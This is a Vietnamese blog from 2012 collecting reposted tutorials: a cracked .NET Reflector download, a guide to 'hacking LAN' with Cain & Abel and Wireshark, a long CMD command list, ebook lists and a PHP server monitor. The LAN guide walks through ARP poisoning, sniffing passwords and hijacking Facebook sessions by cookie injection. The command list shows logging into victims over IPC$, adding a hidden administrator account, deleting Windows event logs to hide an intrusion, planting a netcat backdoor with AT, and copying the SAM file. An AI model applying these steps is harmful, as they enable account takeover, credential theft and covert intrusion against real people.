Chào mừng đến với site của Bee! Chúc các bạn có những giây phút thực sự vui vẻ!!!

Thứ Ba, 25 tháng 9, 2012

Tự Crack phần mềm bằng .Net Reflector


.Net Reflector 7.6.1.824 Full Crack mới nhất + Hướng dẫn

.Net Reflector là phần mềm thường được dùng để dịch ngược hoặc crack các phần mềm được viết trên nền tảng .Net (C#,VB.Net...) mà ít được bảo vệ. Hiện tại .Net Reflector đã có phiên bản 7.6 và hỗ trợ tốt đến phiên bản .Net 4.5 mới nhất của Microsoft.

Giới thiệu:
.NET Reflector là một chương trình dùng để Disassemble (nói dễ hiểu là dịch ngược ra source code) một chương trình khác viết bằng .NET. Hổ trợ ngôn ngữ đầu ra là những ngôn ngữ lập trình .NET thông dụng như: IL, C#, VB, Delphi, MC++, Chrome. 

Download .Net Reflector VSPro 7.6.1.824 Full Crack

Hướng dẫn sử dụng:
Sau khi tai về, bạn giải nén vào một thư mục nào đó rồi chạy file Reflector.exe (chạy trực tiếp, không cần cài đặt), giao diện của nó như thế này:




Muốn dịch một thư viện hay một file *.exe, click chọn Open trên toolbar hay menu File -> Open hoặc Ctrl+O, duyệt đến file dll hay exe cần dịch > OK.

Nếu muốn dịch trực tiếp ra các file source thì click phải chuột lên tên file cần dịch, chọn Export, nếu chỉ muốn xem cấu trúc của nó thì chọn Disassemble.




Sau khi chọn Disassemble, sẽ ra cái này



Khung bên trái là cấu trúc của 1 file .dll hay 1 file .exe, bên phải là source code.

Hướng dẫn crack

1. Chạy file ReflectorInstaller_7.6.1.824.exe để cài đặt
2. Sau khi cài đặt không được khởi động chương trình
3. Copy tất cả những file trong thư mục cài đặt (Mặc định là C:\Program Files\Red Gate\.NET Reflector\Desktop 7.6)
4. Done !


Download
http://sinhvienit.net/@forum/attachm..._7.6.1.824.zip


Có thể tham khảo thêm hướng dẫn dùng .Net Reflector để crack 1 phần mềm ở đây: http://sinhvienit.net/@forum/threads...t-duoc-bao-ve/
Nguồn: SinhVienIT
File Kèm Theo File Kèm Theo

Hack LAN sử dụng CAIN


Hướng dẫn hack mạng Lan rất đơn giản.

Hum nay mình thấy nhiều người hỏi cách hack mạng Lan.nên mình post bài này nếu anh biết rùi thì đừng ném đá em nhá.
Phần mềm cain này dùng để hack mạng Lan có thể biết tất cả những máy trong cùng mạng truy cập những web j chia sẻ file j và đặc biệt hơn là có thể chôm đc cả mật khẩu nữa,cả mật khẩu yahoo luôn
các bạn làm như sau nhá.

1. Download:
http://www.oxid.it/cain.html
2.Cài đặt: Như cài đặt phần mềm bình thường.
3. Sử dụng: 
Bật C&A lên và:









Ngoài ra các bạn có thể sử dụng thêm phầm mềm Yahoo Sniffer để đọc trộm tin nhắn yahoo nữa.
chúc các bạn thành công

Hack LAN sử dụng Cain&Abel và WireShark





Các công cụ cần thiết:

1. Wireshark 

2. Cain and Abel 

3. Trình duyệt Mozilla Firefox (Bắt buộc) và Mozilla Addons (Grease Monkey) 

4. Cookie Injector 

Thực hiện:

Kết nối vào mạng LAN hoặc Wifi

Bước 1: Cài đặt Wireshark, Cain and Abel, Grease Monkey, Cookie Injector.

Bước này bạn thực hiện cài đặt bình thường như những phần mềm khác, với chú ý yêu cầu chạy dưới quyền administrator và cho phép cài đặt Winpcap.

Cài đặt Cookie Injection, bạn chỉ cần kéo thả file Cookieinjector.user.js vào giao diện của Firefox như hình vẽ.


Bước 2: Bật Wireshark vào menu Capture / Interfaces (Ctrl + I). Chọn card mạng của bạn và nhấn Start để bắt đầu quá trình chụp gói tin (capture packets) qua mạng.

Bạn sẽ thấy các gói tin hiện ra ào ào, trong đó bạn chú ý:

Source: Địa chỉ nguồn, nơi chứa tất cả các địa chỉ mà gói tin xuất phát, bao gồm cả địa chỉ của nạn nhân bị tấn công
Destination: Địa chỉ đích, nơi chứa địa chỉ mà gói tin sẽ tới.

Bước 3: Chạy Cain&Abel, vào menu configure chọn card mạng (chọn cái nào hiện tại có địa chỉ IP) và cấu hình như hình dưới.

Chuyển đến tab Sniffer ( trong dãy các tab nằm phía trên ). Click bật biểu tượng Sniffer ( hình card mạng)

Nhấp vào biểu tượng hình dấu + màu xanh, chọn OK để thực hiện quá trình scan địa chỉ MAC và Ip trong mạng.

Bước 4: Sau khi có danh sách các máy tính hiện đang kết nối trong mạng wifi, ta tiến tới thực hiện ARP Poison Routing.

Bạn chuyển qua tab APR ( nằm ở dãy tab phía dưới màn hình – biểu tượng màu vàng và đen ). Click vào dấu cộng “+” ( chỗ khoanh tròn trong hình ) để mở hộp cấu hình ARP Poison Routing như sau:

Việc ARP Poison Routing sẽ được thực hiện giữa máy tính bên trái và “các” máy tính bên phải. Bên trái có thể là router như trường hợp địa chỉ 192.168.1.1 trong hình ( các router thường có địa chỉ là x.x.x.1) và bên phải là tất cả các máy tính có trong mạng ở phía bên. Xong xuôi, click OK.

Bước 5: Click chọn biểu tượng Start/Stop APR ( màu vàng và đen ) nằm ở trên bên trái của cửa sổ Cain&Abel

Sau khi click sẽ thấy các dòng idle trước các địa chỉ IP sẽ đổi thành Poisoning. Bây giờ ta đã có đầy đủ điều kiện để sniff toàn bộ gói tin trong mạng này.

Bước 6: Chuyển sang tab Passwords, ta sẽ thấy một vài điều thú vị ở đây.

Bạn chú ý tiếp tới cột URL, danh sách này sẽ liên tục được cập nhật, mỗi khi người dùng trong mạng wifi truy cập một website nào đó, Cain&Abel sẽ ghi lại chi tiết: người dùng có IP nào truy cập website nào, URL là gì, địa chỉ IP của website, username & password (nếu có).

Bạn cứ liên tục theo dõi danh sách này, đến khi nào xuất hiện địa chỉ web bạn mong muốn. Ví dụ: http://www.facebook.com/***** và chú ý tới một số thông tin sau:

IP của HTTP Server: đây chính là IP của facebook
IP của client: đây chính là IP của người dùng đang truy cập facebook

Ngay lập tức bạn hãy chuyển trở lại Wireshark, click nút stop trên thanh công cụ.

Trong ô Filter bạn gõ: http.cookie contains datr

Sau đó thực hiện việc lấy Cookie bằng cách, chọn địa chỉ IP trong mục Source trùng với IP của client mà bạn đã ghi nhớ bên Cain&Abel (trong hình là 192.168.1.6)

Chuột phải vào đó, chọn Copy / Bytes / Printable Text Only.

Lúc này Cookies của nạn nhân mà bạn lấy được đã được lưu vào bộ nhớ đệm của máy tính.

Bước 7: Phục dựng Session – Cookie injection

Trước hết, bạn mở Firefox và truy cập vào địa chỉ http://www.facebook.com

Chú ý: Ban phải logout ra khỏi tài khoản facebook hiện tại.

Bây giờ thì bấm tổ hợp phím Alt+C ( phím Alt và phím C đồng thời ), nó sẽ hiện ra cái khung nhỏ nhỏ như trong hình dưới (Wireshark Cookie Dump). Bạn paste cái chuỗi cookies đã copy ở bước trên vào ô textbox của cái khung nhỏ nhỏ này rồi bấm Ok. (Với chú ý add-on Grease Monkey đã được Enable)

Sau khi nhấn OK, hộp thoại thông báo quá trình ghi nhớ Cookies thành công

Click vào thanh address và nhấn Enter để trang được load lại. Và đây là thành quả của chúng ta.

Thứ Bảy, 15 tháng 9, 2012

Ms-Dos


1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C - Tham số /a: Nhận địa chỉ IP từ tên host - Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....

2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.

3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn

4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) - Tham số /e: hiển thị các thông tin thống kê Ethernet - Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...

6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ - dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ - put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. - close: Đóng phiên làm việc - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp

7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: địa chỉ IP của victim. - xxx: user của máy victim - pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cấn add - pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP) - Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. - Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. - Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) - Tham số -s : shutdown - Tham số -r : shutdown và restart - Tham số -a : không cho shutdown - Tham số -f : shutdown mà ko cảnh báo - Tham số -c "comment" : lời cảnh báo trước khi shutdown - Tham số -d upx:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.

11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.

12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ ) - Z là của mình...còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)

14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.

15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx

17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\

18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP) Trên đây là một số hiểu biết hạn hẹp của em về các lệnh CMD, em đã đọc được từ rất nhiều nguồn khác nhau, nay tổng hợp lại cho mọi người tham khảo. Có một số lệnh em vẫn chưa hiểu cấu trúc lệnh và chưa có điều kiện để thực hành thử nên ko hướng dẫn kỹ. Ai biết thì góp ý nhé! Mong các pro đừng cười! Nếu thấy bài viết của em hay thì làm ơn thank cho một cái nhé

19 bootcfg : xem thiết lập phần tải hệ điều hành ban đầu .

20 defrag : lệnh này dùng để dồn đĩa cứng .

21 diskpart : quản lí phân vùng trên đĩa . Chúng ta có thể bấm DISKPART / ? để xem hướng dẫn cách dùng chi tiết .

22 driverquery : nhận danh sách các chương trình Driver và những thuộc tính của chúng .

23 getmac : nhận địa chỉ MAC ( Media Access Control ) của Card mạng .

24 gpresult : nhận RSoP , những thiết lập người dùng và những thiết lập của chính sách nhóm.

25 netsh : công cụ cấu hình mạng . Bấm NETSH / ? để biết thêm chi tiết . Để thoát khỏi công cụ này gõ lệnh NETSH>

26 openfiles : cho phép Admin hiển thị hoặc bỏ kết nối những file đang mở trong XP Pro . Bấm OPENFILES/? để biết thêm về tham số .

27 recover : khôi phục những thông tin không thể đọc được trên đĩa .

28 reg : công cụ cho Registry .

29 schtasks : Admin có thể tạo lịch trình , thay đổi , xoá những nhiệm vụ trên máy trạm hoặc những máy điều khiển từ xa . SCHTASKS/? để hiển thị những tham số .

30 sfc : kiểm tra file hệ thống , bảo về và thay thế , sửa chữa những file hệ thống bị hỏng .

31 shutdown : bạn có thể tắt hoặc khởi động lại máy tính của mình hoặc Admin có thể tắt hoặc khởi động lại những máy tính điều khiển từ xa .

32 systeminfo : hiển thị những thông tin cấu hình cơ bản .

33 tasklist : cho chúng ta biết những chương trình nào đang chạy .

34 taskkill : tắt những chương trình đang chạy

35 dxdiag : cấu hình

Thứ Năm, 13 tháng 9, 2012

Programing tài liệu Visual Studio 2005!!! Bao gồm : C/C++/C#, VB, ADO, PHP


Programing tài liệu Visual Studio 2005!!! Bao gồm : C/C++/C#, VB, ADO, PHP

JAVA

Art of Java Web Development
Pro Java™ EE Spring Patterns
Core Java
Java 3D Programing
Học JAVA bằng câu chuyện hấp dẫn của Craftman
Java Collection
Lập trình hướng đối tượng bằng Java
Java căn bản
Java And Soap
Java And Xml Binding
Java and XSLT
Java and XML
Java Message Service
JAVA 2 Network Security


C/C++/Csharp


Bài tập Visual Studio
Bài giảng lập trình C trong windown
Lập trình C++
7 ebook C sharp tiếng Việt hay nhất
11 sách về C/C++ tiếng Việt hay nhất
Kĩ thuật lập trình Csharp
Tự học C
C++-Template(tiếng việt)
Nghiên cứu Visual C++ trên Windows
Visual C
Microsoft Visual C# 2005 Step by Step
VB,ASP,ADO,PHP


Zend PHP certification
Visual Basic Library
ASP.NET hướng dẫn và ví dụ
ADO.Net Cookbook (Oreilly EBook)
Các giải pháp lập trình ASP.NET-P1
Các giải pháp lập trình ASP.NET-P2
Các bài tập Microsoft.NET Framework & VB.NET
Build Web Applications with ASP.NET3.5, AJAX, LINQ, and More
Các giải pháp lập trình VB.NET
Giáo trình VB.NET 2003
Lập trình web bằng VB
Tìm hiểu ASP
Tự học Microsoft ASP.NET
Giáo trình Visual Basic của FPT
Các hàm API dành cho VB
Căn bản PHP
ASP.NET Ajax in Action
Programming Visual Basic 2008: Build .NET 3.5 Applications
Microsoft ASP.NET 3.5 Step by Step


Other



Mẹo trong lập trình
Giáo trình quản lí dự án phần mềm


Cấu trúc dữ liệu và giải thuật

Giáo trình giải thuật


Fundamentals of Speech Recognition
GMAT Test 55
Lí thuyết kĩ thuật lập trình trên windows
Làm quen với FrontPage của Microsoft
JAVA

Art of Java Web Development

Pro Java™ EE Spring Patterns
Core Java
Java 3D Programing
Học JAVA bằng câu chuyện hấp dẫn của Craftman
Java Collection
Lập trình hướng đối tượng bằng Java
Java căn bản
Java And Soap
Java And Xml Binding
Java and XSLT
Java and XML
Java Message Service
JAVA 2 Network Security


C/C++/Csharp


Bài tập Visual Studio
Bài giảng lập trình C trong windown
Lập trình C++
7 ebook C sharp tiếng Việt hay nhất
11 sách về C/C++ tiếng Việt hay nhất
Kĩ thuật lập trình Csharp
Tự học C
C++-Template(tiếng việt)
Nghiên cứu Visual C++ trên Windows
Visual C
Microsoft Visual C# 2005 Step by Step
VB,ASP,ADO,PHP


Zend PHP certification 
Visual Basic Library 
ASP.NET hướng dẫn và ví dụ 
ADO.Net Cookbook (Oreilly EBook)
Các giải pháp lập trình ASP.NET-P1
Các giải pháp lập trình ASP.NET-P2
Các bài tập Microsoft.NET Framework & VB.NET
Build Web Applications with ASP.NET3.5, AJAX, LINQ, and More
Các giải pháp lập trình VB.NET
Giáo trình VB.NET 2003
Lập trình web bằng VB
Tìm hiểu ASP
Tự học Microsoft ASP.NET
Giáo trình Visual Basic của FPT
Các hàm API dành cho VB
Căn bản PHP
ASP.NET Ajax in Action
Programming Visual Basic 2008: Build .NET 3.5 Applications
Microsoft ASP.NET 3.5 Step by Step


Other



Mẹo trong lập trình
Giáo trình quản lí dự án phần mềm


Cấu trúc dữ liệu và giải thuật

Giáo trình giải thuật


Fundamentals of Speech Recognition
GMAT Test 55
Lí thuyết kĩ thuật lập trình trên windows
Làm quen với FrontPage của Microsoft
Pass của Ebook (nếu có): www.ict24h.net or tuoitrequynhon.com
Nguồn: Internet 

Thứ Tư, 12 tháng 9, 2012

Connectivity fixer: Tự động sửa lỗi mất kết nối Internet


Connectivity fixer: Tự động sửa lỗi mất kết nối Internet

Đây là phần mêm miễn phí giúp bạn giám sát việc kết nối Internet và tự động sửa lỗi mất kết nối cùng các vấn đề liên quan đến IP, Winsock mỗi khi phát hiện được.
Tải Connectivity Fixer Tại đây
Tương thích Windows XP/Vista/7. Yêu cầu Microsoft .Net Framework Version 2.0
Sau khi tải về bạn chạy file Connectivity Fixer.msi để cài đặt. Sau đó kích hoạt chương trình thông qua biểu tượng trên desktop.
Giao diện chương trình rất đơn giản gồm 2 mục chính:
Fix now: Phân tích và sửa lỗi mất kết nối hay các sự cố liên quan đến kết nối mạng. Khi chọn mục nầy, phần mềm sẽ tái kết nối internet, đặt lại địa chỉ IP và các thông số kết nối. Hoàn tất, bạn thử vào mạng lại để xem kết quả
Monitoring: Giám sát kết nối mạng theo thời gian thực, đòng thời đưa ra thông báo hay tự động sửa chữa khi phát hiện lỗi. trước khi sử dụng chức năng nầy bạn vào mục Settings để cấu hình , trong hộp thoại hiện ra, bạn nhấn vào tùy chọn Fix problems automaticcally để chương trình tự động sửa lỗi kết nối, có thể đánh dấu chọn luôn mục Enable monitoring at startup, xong nhấn Home để quay lại giao diện chính. Tại đây bạn nhấn MONITORING phần mềm sẽ chạy thương trú ở khay hệ thống để giám sát việc nối mạng
Sau nầy muốn vô hiệu hóa chức năng giám sát, bạn nhấn đoi vào biểu tượng của nó ở khay hệ thống, chọn mục MONITORING trên giao diện và nhấn liên kết Disable ở góc phải phía dưới hộp thoại.

Thứ Hai, 10 tháng 9, 2012

PHP Script - kiểm tra tình trạng server và gửi email thông báo khi server down


PHP Script - kiểm tra tình trạng server và gửi email thông báo khi server down

Script này giúp kiểm tra tình trạng server, service xem nó có đang hoạt động hay không

Ví dụ đoạn code mẫu

PHP Code:
<?php 
include("servermonitor.php");$Monitor = new ServerMonitor();$Monitor->add("Local server""sinhvienit.net"80);

echo 
$Monitor->run(true);
?>
Ở đây chúng ta sẽ gọi đến lớp ServerMonitor được định nghĩa trong file servermonitor.php
PHP Code:
$Monitor->add("Local server""sinhvienit.net"80); 
Bạn có thể add nhiều server để kiểm tra cùng lúc. số 80 là cổng của dịch vụ đang chạy cần kiểm tra, thay vì điền domain bạn cũng có thể thay bằng IP của server
PHP Code:
$Monitor->setEmail("yourmail@gmail.com");
Khi server offline, script này sẽ gửi email thông báo đến bạn.
PHP Code:
foreach($results as $result){
    
$status $result->active "Online" "Offline";
    echo 
$result->name ': <strong>' $status '</strong><br />';
Chạy vòng lặp để xuất ra kết quả tình trạng server


// Bạn nào thích thì có thể phát triển thêm để script có thể tự động kiểm tra

File Kèm Theo File Kèm Theo
  • Kiểu File : zip server-monitor.zip (123.9 KB, 0 lần tải)
                                                                  Nguồn: sinhvienit.net